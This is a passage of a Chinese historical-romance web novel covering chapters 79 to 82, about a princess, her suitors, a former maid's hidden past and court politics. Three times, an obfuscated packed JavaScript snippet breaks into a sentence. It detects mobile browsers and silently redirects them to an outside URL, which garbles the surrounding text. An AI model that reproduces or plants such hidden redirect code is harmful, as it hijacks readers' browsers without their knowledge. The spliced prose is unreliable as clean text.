晏泠音注视着他湿润的眼睛:“苏觅,我来是想告诉你,苏自膺已经死了,你舅父又已年迈,国内乱作一团。若你改了主意想要回去,我可以送你。” 苏觅往后仰身靠上了桌沿,眼角泛出桃色,挑出的弧线却相当锐利:“泾州这场大火,我的嫌疑还没洗清,殿下,你就这样信我?” 他言辞轻佻,晏泠音也不生气:“我不是信你,我是信阿承。即便是你下令,他也做不出草菅人命的事。” “你信他,”苏觅轻笑一声,“你信谢朗,信谢初原,信和你素无交情的詹士伦。到如今,只有我不值得相信。” “我若是真不信你,”晏泠音还是那副不温不火的语气,“你现下也不会坐在此处。泾州的牢狱中,当有你的一席之地。” 她今日似有无限的耐心,温和却又冰冷,像一汪波澜不惊的水,倾听、吞纳,却将自己的情绪牢牢锁住,不让它有丝毫外露。苏觅知道她在为何而难过,泾州胜了,幽军元气大伤,铩羽而归,短时间内不会再有力量越过边境。可那场火带来的劫难太过浩大,以至于让胜利也显得惨淡而可笑。她没有看见火如何熊熊燃起,却看见了火灭后的一地狼藉。 她站在那样血泪交织的废墟里,做不到无动于衷。 苏觅恼恨她的冷漠,恼恨她对人对己的克制疏离。他也恨她的自负,恨她自负到想将一切过错揽归己身,仿佛她真的有救下万姓苍生的能耐,只错在未能尽力。但他此刻最恨的,是她总用那种眼神看着他。她幽亮的眸中空无一物,即便他闯了进去也无所依凭,只能做一尾游弋于虚空的鱼。 她的目光明明白白地告诉他,即便她喜欢他,那又如何?即便她曾放弃自己的性命去救他,那又如何? 她会说那都是错的,是她一时软弱,不必当真。 那他呢?苏觅长出了一口气,又重重仰靠在了桌沿上,磕得后颈酸痛。 那他当真了又算什么? “殿下,我有一事不明,”苏觅屈起的腿舒展了些,无意般将晏泠音禁锢在了身侧的角落,“你匆匆忙忙把婚期选在那一日,究竟是想诱罗从舟现身,还是想逼我动手?” 他一手撑地往前倾身,离她的脸越来越近:“你猜到我不会放任不管,让你就那样和谢朗完婚,所以无论如何,哪怕豁出性命……我都会调逐风卫前来。你带走了我的簪子,明白我为了你,为了今日还能这般同你说话,就一定会拼力保全泾州。” 他温热的气息喷在她侧颈,将额头用力埋在她肩窝:“阿音,你怎么会如此肯定呢?你应该怀疑我的,我有能力弃城倒戈离你而去。人心难测,给人以信任,就是给人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14756170|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以负你的时机。” 晏泠音抬手抚上他的发,轻柔地梳理着。苏觅在她的触碰下微微发颤。她说:“那你就莫要负我。” 她垂首时触到了苏觅的唇,松开了绕在她指尖的长发,而环在她肩头的那双手臂已骤然收紧,将她压坐在地。浓烈的酒味掩住了他身上的药气,也掩住了他似真似假、障人耳目的病弱无力。狐狸不是什么纯良无害的动物,它只是习惯了藏起细白的尖牙,亮出柔顺光洁的皮毛,以美色魅惑人心。 直至咬住猎物的那一刻。 晏泠音没有躲闪,但也没有回应。她似乎打定了主意要冷漠到底,等着苏觅自己退让。可他不会退让的,他尝够了绝望的味道,早早地明白了世上无物能属于他,因而也懒怠求索。翻手云覆手雨的权势争斗,于他只是游戏,不足一笑。 但只有这一次,只有这一个人,他不会退让。 晏泠音盘好的发髻被他弄散,青丝垂落,与他的发交织在一处。他衔着她柔软的唇细细磋磨,直到迫她松开齿缝,便毫不迟疑地长驱而入。 “阿音,”他将叹息压在喉间,于迷蒙中一声声唤着她的名字,“阿音。” 喝空的酒坛是他的借口,意志力涣散后只剩下本能。他忍受着亲吻石像的痛苦,只为了在如潮的痛意里,捉住那一瞬缠绵的快感。 他从不知道自己如此贪婪。 门外脚步声近,晏泠音终于有了反应,像是想要站起。苏觅吻得更凶,他头一次听到石像的心跳,却知道那不是因为自己。 他摸到了晏泠音套在腕间的银镯,本就难以压下的火又烧了起来。他胸口闷痛,近于负气地将它取下,当啷扔远了。 “如果一定要成婚,”苏觅贴着她的唇,嗓音发哑,“为什么不能是我?” 晏泠音低声却清晰道:“你明知故问。” 门外的脚步声停了,两人都听见了阿承有些紧张的声音,他唤来人:“谢将军。” 谢朗倒是语气平静:“萧公子在吗?” 苏觅面上还有红潮,腾出双手捂住了晏泠音的耳朵:“不要听。”他收起了方才那副凶狠的样子,又变得乖巧而无辜,用口型哄她,“阿音,看着我。” “公子身体不舒服,已经歇下了,”阿承喉头发紧,“将军明日再来罢。” 晏泠音拍掉苏觅的手,反被他捉住指尖吮了一下。她没料到对方这么无赖,一时间整个人僵在原地。谢朗耐心很好地嗯了一声,忽然道:“殿下也在吗?” 阿承哈了一声:“殿下……自然……” “我在。”晏泠音抬高了声音,“就来。” 阿承冷汗都下来了,咽着唾低头扮演门神。 “如果我不放你走,”苏觅嘴唇微动,“你要如何?” “不值得,”晏泠音偏开头,收了手替自己挽发,“别让我们的最后一面结束在这里。” 谢朗抱臂等在门外,过了一会儿才听见脚步声。门扇被推开时,他收回飘向远处的视线,目光在晏泠音的嘴唇上稍作停留。 他对她扬眉一笑:“有东西送给殿下。” 80. 留鹤 他说的东西是一匹马,通体洁白,没有一根杂毛,一双黑亮的眼犹如两粒黑葡萄,干净纯真,里面映着北地广阔的四野。晏泠音纵马飞奔,在扑面的疾风里觉到了难以言说的畅快。谢朗策马跟在她身畔,略慢她一步,侧过身时,正好能望见她唇角的弧度。 谢朗自己也没有意识到,他的唇边也挂上了浅淡的笑。他轻叱一声,催马上前半步,和晏泠音并辔而行:“殿下不妨给它取个名字。” “老师说世上之物,凡白羽皆有傲骨,即如囚鹤,雪刃笼身心不死。”晏泠音抚着雪白的马鬃,沉吟道,“它毛□□亮,风骨也佳,叫它留鹤罢。” 谢朗眉心微皱,觉得那句话不吉利,但在晏泠音看过来时,他已敛了情绪,展颜一笑:“杜尚书有识人慧眼,他以此言相告殿下,是对殿下寄寓厚望的。” 晏泠音勒停了马,谢朗随之停步。他们一同眺望远处,秋日阴风凄恻,草已半枯,露出焦黄的色泽。旷野茫茫,渺无人烟,唯见遍体黑岩的庸山拔地而起,兀然傲立。天地低昂,鸟兽皆寂,似有无言的歌谣亘古流淌,绵延千年。晏泠音伫立良久,只觉心神激荡,喃喃道:“如此江山。” 谢朗轻声接上了她的话:“余哀不尽。” 晏泠音侧眸看他:“我以为将军是豁达之人。” 谢朗颔首:“但我亦是蝼蚁。” 两人相视片刻,皆莞尔而笑。晏泠音刚要调转马头,忽听谢朗出声道:“别动。” 他抬手,从晏泠音发间摘下了一片枯黄的叶。 他靠过来的那一瞬,晏泠音直觉他要说些什么,一些她早已知晓却依旧不能回避的话。她等待着,但谢朗反而抿紧了唇,偏头移开了视线。 留鹤打了个响鼻。 “殿下打算何时走?” 晏泠音有些惊讶,她并未主动和任何人说过回京的打算:“待京中……事定,我便上路。” 谢朗攥紧了掌心的叶片。他本想说些别的,但她既已将留字说出了口,他便不可再留。最终他只是笑道:“今日江少卿又有信来,想是事情还算顺利。” 晏泠音的面色却沉了下去:“是我为难他了。” 谢朗摇头。他目视前方,缓声道:“不管怎么说,我还欠殿下一个承诺,来日不论何时何地,只要殿下开口,我都在。” 晏泠音怔了一下:“将军……” “叫我馥川罢。”他率先拨转了马头,“泾州要谢你,蔚州亦要谢你……为何惭愧?”他回眸时见晏泠音面有愧色,扬唇又是一笑,“我知殿下胸有丘壑,北地的真正安宁,就要仰赖殿下了。” “你和伯父镇守北地多年,”晏泠音胸口酸涩,“却连个王爵也未能封得。我若立于朝堂之上,当为谢家鸣不平。” “权位于我、于我父,皆是浮云。”谢朗不以为意,“但殿下若能替泾州多谋些钱粮,谢家必感激不尽。” 晏泠音肃声:“那是自然,我当尽力。”她又开玩笑似的补上一句,“即便旁人说我徇私,我也无惧。” 谢朗像是想到什么,忽然开口:“不,是我失言。我忘了,储君不得干预朝政。” 晏泠音猛地抬头看他,但谢朗神色如常,仿佛从他口中道出的只是家常闲谈,而非能牵引国变的大事。晏泠音一时竟觉哑然,许久才苦笑道:“我不想拉你下水。” “是么。”谢朗放低了声音,混在寒风卷地的沙沙声里,“殿下不必多想,此事我父尚不知晓,我自己做了决定,并非全为谢家。” 他不看晏泠音,举目望向泾州的方向,道:“有人来了。” 魏收出现得刚好,打破了两人之间略显窘迫的氛围。他神色匆匆,只在马上对谢朗抱了下拳,三言两语便带走了晏泠音。跟着他过来的宋齐啧了一声:“好没礼貌,馥川,他对殿下和对你真是两幅面孔,亏你之前还想拉拢他……”他转头看见谢朗的脸色,舌头打了个结,立刻住口,“你怎么回事?不是说了要同殿下好好谈谈吗?” 谢朗用靴尖磕了下宋齐那匹马的腹部,马受惊扬起前蹄,差点把宋齐给颠了下去。他用力攥住马缰,脸皱成一团,冲谢朗抱怨道:“你拿我撒什么气?我可给你出过主意,只要你同殿下说,谢家三代单传,如果断在你这里,你老爹会打断你的腿……” “这是什么话。”谢朗斥道,“那你也去同阿行说,你宋成均非她不娶。” 宋齐忽然就没声了。他们两人并马往泾州走,快到城门口时,宋齐才低低道:“我想娶她,不是为了宋家的子嗣。” 谢朗面无表情:“我也不是。” 宋齐几番欲言,最后化成一声叹息:“但你不同,等你我都老了,谁来镇守泾州?” “泾州不姓谢。” “你知道我不是那个意思,”宋齐急道,“跟你实在说不清……哎,那不是大哥吗?” 他正要扬声招呼,被谢朗一把摁弯了腰,气息一岔,呛得咳了起来。他边咳边艰难道:“你做什么?” 谢朗看了眼并肩而立的宋贤和葛芜,又看了眼他,表情古怪。 “阿行不喜欢你是有原因的,”他言简意赅,“你不解风情。” 宋齐甩脱他的手,双脚一蹬,愤恨地跳上了他的马背,抬臂去锁他的脖子,一时间人乱马嘶,好不热闹:“胡说什么呢!” 这边的吵闹声并未传到宋贤那里。他和葛芜都很安静,不言不语地立在寒风中,默了小半个时辰。 “我该走了。”葛芜先开了口。她容色憔悴,那并不是因为风吹。 宋贤跟着她迈了一步:“我送你。” “……不必。”葛芜背对着他,“我早不是个年轻貌美的姑娘了,无须对我献殷勤。” 宋贤望着她垂落耳边的碎发:“你说我也老大不小了,怎地还未娶妻。” “外面都传宋成言风流成性,拈花惹草,四处留情。” 宋贤反问她:“你信了吗?” 葛芜淡淡道:“我信商人无情。” 宋贤原本要去牵她的手,闻言一怔,慢慢地收了回来:“你还记得吗,小时候我们一起玩过家家的游戏,开很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765959|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的店铺,你当老板,我当店小二,一起商量要挣很多银子,够我们花上一辈子。” 葛芜似是想笑,声到口边却转成了低咽:“稚儿天真。” “我此生注定要漂泊在外,难有安定,”宋贤狠下心道,“你说得对,是我对你不住。这么多年,我从未去看看你。” 葛芜吸了下鼻子,终于绽开了笑。她等这句道歉等了半生,等到年华朽烂,等到她已被摧折得心如木石:“你我皆有难处,我不怪你。何况,即便你来了也无用,我谁都不想见。你做的都是要杀头的混账生意,指不定哪天就死在路上,可别牵累我。” 她这般绝情,反倒让宋贤心里好受了点。他想再说些什么,却觉面上冰凉,竟已泪流了满面。 “不会的。”最后他只轻声道,“自今往后,你会一生和乐安定。我保证。” * 青荷这几日不吃不喝,也不开口,只是合眼躺在药室的榻上,睡了又醒,醒了又睡。除了替她诊脉的崔婉和偶尔来站上片刻的魏收,无人光顾这间药室。泾州心照不宣地将她遗忘了,像是要放任一个秘密永久沉默。 晏泠音也来过一次,青荷睡着——或许是装睡——因而她只找崔婉打听了青荷的伤势。那一日,魏收的剑最终没落到青荷身上,但他盛怒之下一掌将青荷震伤,而青荷带着伤奔走助战,又中了幽军的流矢。 崔婉说她的伤尚可调养,难治的是心病。 室内燃着熟悉的安神香,青荷面朝墙壁蜷在榻上,背对着晏泠音。晏泠音回头去寻魏收,却见他抱着剑守在窗前,似是打定主意不往榻上多看一眼。 她矮下身,坐在了榻沿。 “青荷姊姊。” 这一声唤得恍如隔世。晏泠音没觉得青荷有变化。当她在青荷身边坐下时,那种安心之感一如从前。一定是她的嗓子出了问题,让她变得难以开口,不知所云。 “我听弦歌说,之前那一路你帮了她许多,若没有你,她和她阿娘只怕已死在了乱军之中。” 青荷不说话,但晏泠音知道她在听。 “你不是他们的人,”晏泠音笃定道,“你是受人胁迫,你或许心中有愧,因为你想……你想救我。” 青荷身子僵了一下,倏然翻身坐起。原本覆着她的薄被从身上滑落,凌乱堆叠在腰际。她望向晏泠音的目光里带着茫然,和一丝微妙的不可置信。 “你很早之前就开始躲着我,”晏泠音迎着她的视线,说得缓慢,“从我将你送出宫的时候开始。你故意惹怒母妃,故意对我含糊其辞,为的是疏远我。那时你已经收到了他们的消息,是我太大意,以为顺着你、同你分开,便可保你无虞。这些事,本就是我之过。” 青荷笑了,声音发颤:“殿下总是第一个道歉。” “因为我来得太晚,”晏泠音在那样的笑容面前心口钝痛,“我意识到时已经迟了。青荷姊姊,你怨我吗?” 青荷看了她片刻,笑意慢慢隐没了。 “怨啊,”她轻声道,“怨我为何遇见的是你。” 81. 师姐 何谓江湖? 有人道是刀光剑影快意恩仇。白刃面前无名姓,恩怨皆系于三尺青锋。不堪俗累的狷介之士愿意逃世于此,因他只要有过硬的本事,便可不受拘束,来去自由。 有人道是雪月风花侠骨柔肠。侠者往往不拘小节,爱恨都来得热烈直接。至情至性的怨女痴儿为了情之一字,便敢前尘尽弃舍生忘死,抛掷光阴只求与一人同归。 但对青荷来说,江湖是什么? 江湖是青隐山下的那条小河。她的师父、师伯、师叔、师姐都曾不止一次地说过,等她下了山、跨过那条河,便算是入了江湖。 “那我何时才能下山?”年幼的女孩儿扑闪着眼,怯生生地问。她太乖巧,生就一副惹人怜爱的模样,让人忍不住要伸手去摸她的头。 “快啦。”师姐笑眯眯地说,“等过了冬,春花开遍,师姐就带你下山历练。江湖险恶,小荷叶,你可要跟紧了我。” 师父严厉,师叔师伯皆不苟言笑,青荷只与师姐最亲。师姐是全天下最温柔最好看的女子,青荷一直这样觉得。哪怕她后来在宫中见了美人无数,哪怕她早已不记得师姐的样子。 “师姐会陪着我走江湖吗?” “会呀。”师姐逗弄地点了下她的鼻尖,“但你要听话。” 青荷很听话。整个门派里,她是最乖最懂事的姑娘。旁人无论说什么,要她做什么,她都会点头应下。师父重视青荷的资质,有意培养她,给她的任务往往比其他弟子的更加繁重,但青荷从不拒绝,甚至从不抱怨。 只要她听话,就能和师姐永远在一起了。 可师姐死在春花开遍之前。那一年的冬天冷得彻骨,本是四季如春的地方万里冰封。青隐山被官兵围住的时候,师姐替她最后扎了一次小辫。她怀里被塞了只布包,里面有干粮、盘缠、一封信和师姐从不离身的短刀。 “小荷叶,”师姐蹲身亲了下她的额头,嘴唇很凉,湿漉漉的,“你从后山下去,只管往前走,无论听到什么都不要回头。” 青荷觉得不安。她抓着师姐的手不肯放开,却被用力推开了。师姐低声但坚决地对她说:“你要听话。” 她后来才知道,在当年的那场清洗中,遭难的不止青隐山。巨轮碾压之下,她珍爱的师姐只是一粒微不足道的尘埃。她浑浑噩噩地逃,浑浑噩噩地躲,百般忍辱惜命,只为了师姐那一句“听话”。 师姐说,来生会来找她。 她还太小,不懂得恨,只是无端地伤心,时常梦魇缠身。她总觉这一生太长,来生太远,不知何时才能再见到故人。为了给自己找些事做,她尽心尽力地寻觅信中那个人。信是草草写下的,寄给一位“夫人”。 她遇到了魏收,随他避难入京,又依着信中的指示,将信交给了蒙面的黑衣人。黑衣人送她进宫,要她待在后宫谨言慎行,而毫不知情的魏收动用了魏家最后一点人脉,替她百般打点,安排到了正得圣宠的淑妃宫中。 她以为这样就是一世了。她喜欢怡和殿,喜欢温敏和比自己还小上几岁的晏泠音。皇妃和公主也喜欢她,出于某种她们自己未必意识到的原因——青荷能理解她们。 理解她们失去一切的痛苦和迷惘,也理解她们为了所爱之人活下来的决心。 直到她再次遇见了黑衣人。她已平静了十数年的生活,又一次掀起了骇浪惊涛。 “晏氏都不是什么好东西。”黑衣人提醒她,“你对他们心软,就是对死者的背叛。” 她还记得青隐山,记得那条远眺下波光粼粼的长河,它冻住了她一生的血泪与憾恨。青荷这才发觉,其实伤痛从未被抚平,魏收也好,温敏和晏泠音也罢,他们都出现得太晚了。她的生命腐烂在遇见他们之前,从她孤身逃走的那一刻起,就注定了要为此而愧疚余生。 晏泠音觉到痛。她抱住青荷,在她的瑟缩里痛到锥骨。时间流走得太仓促,没给她留弥补的机会。每次与真相结伴而来的,都是告别。 晏泠音低声说:“你走罢。” 青荷浑身一震。 “我让魏大哥送你。”晏泠音听到窗边的魏收呼吸陡然加重,“谢朗那边有我,不会与你为难。” 魏收哑着嗓子开口:“晏主……” “对不起,”晏泠音清晰道,“不该把你卷进来。” 青荷不知道,魏收不知道,选中青荷进入怡和殿的是晏泠音自己。听说新来了一批宫女,她跑去偷瞧,一眼看见了立在队伍最后的青荷。 她悄悄绕到青荷身边:“你叫什么名字?” 青荷见这位小殿下生得粉雕玉琢,发间、颈上皆缀了光彩耀目的玉珠,虽还不认得对方的身份,却也知必然是位贵人。她顺从地答道:“青荷。” “母妃殿后就是荷塘,”晏泠音拍手笑道,“岂不正合了你的名字?近来荷叶长得好,你随我回去,我和你一起赏玩。” 她看着青荷,青荷也看着她。幼年懵懂的友谊越来越深厚,也越来越沉重,把两个人都困缚其中。她再不会这样掏心掏肺地信任一个毫无血缘的人,一辈子有一次就够了。 泪水涌上了青荷漂亮的凤眼,她说:“殿下没有对不起谁。” “我是晏氏的女儿,”晏泠音摇头,“应该替晏氏偿还一切。” 魏收已经转过身来,逆着光,整张脸都隐在暗影里。他的左手负于身后,正轻微地发着抖。自他用那只手击伤了青荷后,他再没用左手持过剑,因为握不稳。 “晏主,”他颤声道,“不必……” 晏泠音已经站起身来。她松开了青荷的手,像是怕自己反悔一般,迅速攥掌成拳。她用目光止住了魏收的话,只肃然道:“这几日不用跟着我。你是她兄长,应当知道她的喜好,寻个好去处罢。”她微偏过头,放柔了声音,又对青荷道,“日后他得空,还会来看你。他近来自责得很,你莫要怪他。” 青荷眼中蓄泪,沿着颊侧慢慢流了下来。她和魏收对望了一眼,又在转瞬同时移开了视线。晏泠音抿着唇往屋外走,行至一半时听到了青荷的声音。 “我知道……哥哥是谁。” 晏泠音和魏收同时望向了她,半是怔愣半是讶然。魏收上前一步,唤她道:“……青荷。” “哥哥从不瞒我,他什么都不瞒我,可我却瞒了他。”青荷垂了眼,“我知道他的剑为什么叫飞鸿。” 晏泠音本就蜷着的手指攥得更紧了。她瞥见魏收脸上的愕然一点点褪去,似乎多年的困惑终于开解,整个人倏地被抽空了,卸力般靠在了墙上。 “师姐让我走之前,还同我说过一句话。”青荷面色苍白,像是终于下定了决心,“她说她有个名字,叫作‘逢山’,取的是‘送客逢春’的第三字。她还有两位久未相见的旧友,一曰‘送山’,一曰‘客山’,等他们三人重聚的那一日,便是盛世回春之时。” “我当时还不明白师姐的意思,现在却懂了,”青荷跪坐起身,就在榻沿缓缓下拜,“师姐走了,我便成了‘逢山’,所以她才会将逢春刀留给我。殿下若是需要,山字第三卫魏青荷,愿意效忠殿下,此生此世,再无背叛。” 魏收像是再也控制不住,大步走了出去,只留她们两人。青荷不起身,晏泠音也不上前,她们静默相对,像两尊雕塑。 半晌,晏泠音终于迈步。她抬手拭去青荷眼角的泪,凉风从半开的门里吹进来,绕过了她高盘的发髻,又将青荷的衣吹得窸窣有声。她抚着青荷的背,像一位真正的姐姐那样。 青荷将脸埋进她的衣襟,很快濡湿了一片。 * 葛茵蹲在牢房外面,嘟着嘴,隔着铁栅打量睡在地上的人。詹士伦背对着她,任她怎么呼唤都毫不动弹,好像宋贤那一剑不是刺了他的肚子,而是削了他的耳朵。 “詹叔,詹叔。”葛茵唤了一遍又一遍,逐渐气恼起来,“詹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774419|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士伦,你凭什么不理我!当初是你把我捡回去的,是你给我吃的教我武艺,才让我活到今天的!可你又一走了之,连半个字都没留给我。你想来便来,说走便走,究竟把我当什么!” 詹士伦一动不动,葛茵甚至还能听见他轻微的鼾声。她有些泄气,动了下已蹲麻的腿脚,索性一屁股坐上了地面。 “詹叔,”她放低了声音,“我一直在等你回来,等了好多好多年。” 无人看见的暗处,詹士伦的眼睛已经睁开了。他盯着斑驳潮湿的狱墙,仿佛要把它望穿。 “我守在你那座破庙里,你记得它吗?没有门,没有窗,连屋顶都塌了一半,冬天冷得要命。你走之后,我一个人住在那儿,差点被冻死了。” 詹士伦闭了下眼。 “后来阿姊找到了我。她问我叫什么,问我的爹娘在哪儿,我说我没有名字,也没有爹娘,只有一个詹叔,可是他也不要我了。”葛茵越说越伤心,已经哽咽起来,“我以为你死了——可能那样我心里还舒服些,我很恶毒罢?我日夜替你祈祷,求老天不要让你死,谁让你是个好人。可是你……你跑去教宋大宋二,甚至跑到幽国当上了将军,却不肯再来见我一面,我想不明白,我到底做错了什么?” 她哭得专心,偶尔停下来大声地擤鼻子,没注意到詹士伦身侧的手动了一下。他神色木然,像是戴着一层面具,眼眶却忽然红了。 她到底做错了什么? 直到背后传来新的脚步声,哭得喘不过气的葛茵被人哄走,詹士伦依旧保持着侧卧的姿势,僵硬地看着墙壁。脚步声远了,更远了,他突然猛地翻过身来,望向了葛茵。他盯着那个小小的背影,双目一眨不眨地看了许久,直至它消失在视野尽头。 他唇边泛出苦笑,颓然地靠坐在墙边,合目仰首。一滴泪从他紧闭的眼角滑落下来,流进了那些不易察觉的细小皱纹里。 葛茵什么也没有做错。错的是铁石心肠、软弱怯懦、不敢与她多待的自己。 再睁开眼时,他对上了宋氏兄弟的目光。他们陪着葛芜来到此处,又都默不作声地留了下来。 宋齐先开了口,他唤詹士伦:“师父。” “账簿已交给你们了,”詹士伦的软弱消失无影,他拭去眼角的水渍,重新变回了那个憔悴却不失从容的阶下囚,“让殿下来和我谈。” 宋齐不吭声,宋贤看了眼弟弟,上前一步:“这么多年了,”他说得平静,语气却有些僵硬,“不给我们一个交待吗。” 詹士伦摊开双手,他掌中空空,只有污渍和血痕:“你们是我最看重的徒弟。” 宋贤道:“徒弟也是人。” 詹士伦笑了:“不把自己当人,能快意许多。” “你刺他的那一剑,”宋贤语声发颤,他指着宋齐的左肩,“从来没有长好。有的伤口落在心里,你可明白。” 詹士伦的笑容淡去了。他定定地看着兄弟二人,面上逐渐流露出哀伤。可最终他只是道:“师父对不起你们。” “不管你有什么苦衷,”宋齐忽然开口,“泾州因你而死了太多人。师父,”他深吸了一口气,背转过身,“这是我最后一次这样叫你。你自己保重。” 宋贤没跟他走,他知道这种时候应该让弟弟一个人待着。他又立了片刻:“我们不是来听你道歉的。” “度字卫衰落于我这一辈,”詹士伦疲惫地闭上了眼,“两位师弟俱已死于战乱,你们如今手握的,是他们的剑。但我不会强求你们。” 宋贤微怔。 “良禽择木而栖。”詹士伦沉下嗓音,“你们效忠于谁,决定于你们自己。” “你把我们安插在北地这么多年,一点风声都不漏,却说这决定于我们自己?”宋贤难以置信地反问他,“那你呢,你做了什么决定?” “我已经说了,”詹士伦抬臂挡在眼前,又一次轻声重复,“让殿下来和我谈。” 82. 备礼 散朝后,正信步闲走的安漼之被人唤住了。他回首,看见了躬身行礼的江渊然。 “安大人。” 安漼之颔首。他停了步,等江渊然快走两步赶了上来,再同他并肩一道往前。他比江渊然稍矮,但气度从容,步履稳健,进贤冠下的发虽已斑白,却梳得一丝不乱。他是那种令人望而生畏的老臣,沧桑阅历都写在那双异常明亮的眼眸里,即便是再锐气方刚的小辈,也不敢长久地与他对视。 若拿他与杜慎相比,杜慎固然严厉,不苟言笑,但站在他身边,便如站在一株覆雪的苍松下,至多只会感到冷,同时却也会在那冷意里嗅到一丝柔软的、若有若无的松香,令人胸怀舒畅。而安漼之虽常笑容满面,其人却如深渊,一旦靠近,立时便会有压迫感扑面而来,性格稍弱些,便会觉冷汗遍体,难以呼吸。 “周筠青年才俊,性格稳重,由他补工部的缺,我放心。”安漼之说得不急不缓,“只是眼看快到年底了,一堆旧账要结,锡何撂了挑子说走就走,着实让我有些惊讶。” 锡何是江予的字。江渊然顺从地点头称是:“周大人心思缜密,办事也妥当,虽与爹爹曾有些口角纷争,但皆是小事,论才学,工部没有能超过他的。此次爹爹是走得急了,但他早有致仕之意,数月前就已禀明圣上,兼之家中姑母去世,他们兄妹情深,总要去送一送。”他又叹道,“安大人或许不知,姑母一生未嫁,父亲只有她这一个妹妹,因而格外爱惜。” 安漼之抬手轻拍他的背:“你们江家人皆重情,我明白。只叹我与锡何同朝共事一场,却见他先我一步退了下去,有些感慨罢了。” 江渊然似觉惶恐,摇头道:“不敢比肩大人。您荣华未尽,在朝中尚大有可为。待来日功成身退之时,晚辈再来送您。” 安漼之只是笑。他又同江渊然走了两步,忽然问道:“近来崔少卿外调,诸多事务都落于你一人身上,可还忙得过来?” 江渊然听他言语间颇有关怀之意,便再度躬身行礼:“劳大人费心。这于晚辈正是历练的好机会,并不觉疲累。” “崔家子虽还挂着左少卿的职衔,但他这次北上办差办得不错,待回来了,未必会继续留在大理寺。”安漼之抬手将他虚扶起来,“恪回怎么看?” 崔含章岂止是办得不错,青州因他而大出血,安漼之早对他深恶痛疾,这一点,朝中明眼人都看得出来。 “崔少卿在大理寺已待满三年,是该升了。”江渊然若有所思,“他原本就是六部出身,在礼部、户部皆曾任过职。如今陈侍郎尚未回京,爹爹又已卸任,六部的人事变动不小,依晚辈之见,崔少卿很可能会被调入六部,尤其是,”他顿了一下,“大人所在的户部。” “你心思细,知道我部中缺人。”安漼之拿余光瞥了他一眼,见他不动声色,只做恭谨状,“但崔家子并非我最属意的人选。恪回在大理寺也有年头了,不知可想过入部?” 江渊然脚下稍缓,有些怔愣:“安大人……” “你办事利落,断案果决,这些年我皆看在眼中。”安漼之叹了一声,“尤其难能可贵的,是你有勇魄。数月前你以一人之力状告殷氏,我入朝至今,未见如你一般果敢的后生。你立身持正,不惧炎势,恪回,你是我大梁的好儿郎。” 江渊然眸中莹然,似有动容。他垂首道:“承蒙大人抬爱,晚辈定不负大人所望。” “不必如此生疏,”安漼之笑容满面,“我与承平同年,亦是旧友,你既有心拜在我门下,不妨唤我一句老师。” 江渊然的身子僵了一下。他掩饰得很快,只将头垂得更低,惶然开口:“晚辈以戴罪之身入朝堂,不敢肖想为安门弟子,能如今日一般,时时得听大人金口教诲,已是大幸。” 安漼之沉默片刻,笑意淡了下去:“是我唐突,拜师乃大事,岂有这样突兀决定的道理。你尚年轻,日后前途不可限量,我却已老朽,莫让我耽误了你。” “大人千万莫要这样想,”江渊然仓促道,“这样说,叫晚辈万死难赎。” “紧张什么,”安漼之又轻拍了下他的背,“下月十二是五殿下的生辰,宫中是要操办的,我亦设了私宴在秋瞑楼。殿下的意思是不邀外人,只同我和学生们喝茶谈天。你近来劳累,那一日如有空,也来散散心罢。” 江渊然拱手:“晚辈求之不得。” 直到安漼之走远了,周筠才转出街角,不紧不慢地踱步上来,对着江渊然摇了摇头:“便唤他一声又何妨。” 江渊然已直起了身,背脊笔挺,语气平平道:“老师只有一个。” “京中都传江郎改了性子,宴也赴了,高门也结了,见着人也不再那么冷冰冰的不好相与了。”周筠慢慢嚼着字,不知是赞是嘲,“但我看你分明还是个榆木脑袋,京中座主和弟子的关系纷乱,多少人只要见过一面,就上赶着喊他老师呢。他未必真心收你,你更不是诚心拜他,一个称呼而已,当不得真。” 江渊然只道:“不一样。” “也罢,我还不知道你?”周筠身材矮胖,敦实得像只石柱,说起话来亦是老气横秋,“演成这样已算难得。待到晏眆生辰,你准备挑什么礼给他?京中几家古玩铺子我都熟,近来有些好货,你若想要,同我说一声便是。” “何须我再送礼,”江渊然偏头看他,“你不是已经给他备上了吗?” 周筠愣了片刻,终于收起那种轻浮的神色,紧蹙了眉:“你这要就办?未免有些心急。” “爹爹已离京返乡,我无后顾之忧,这件事又棘手,不便再拖,当然是愈早愈好。”江渊然说得简短,“免得夜长梦多。” “你还是心向北地的那位殿下,”周筠恨铁不成钢道,“千方百计要早日迎她回来。我可是听说了,北地的知州张无为突发急病,由陈桉代理蔚州州事,可今日安漼之与你闲谈,却半个字没提蔚州,你就不觉得其中古怪?” 江渊然身侧的手攥紧了又松开,他有些怅然。 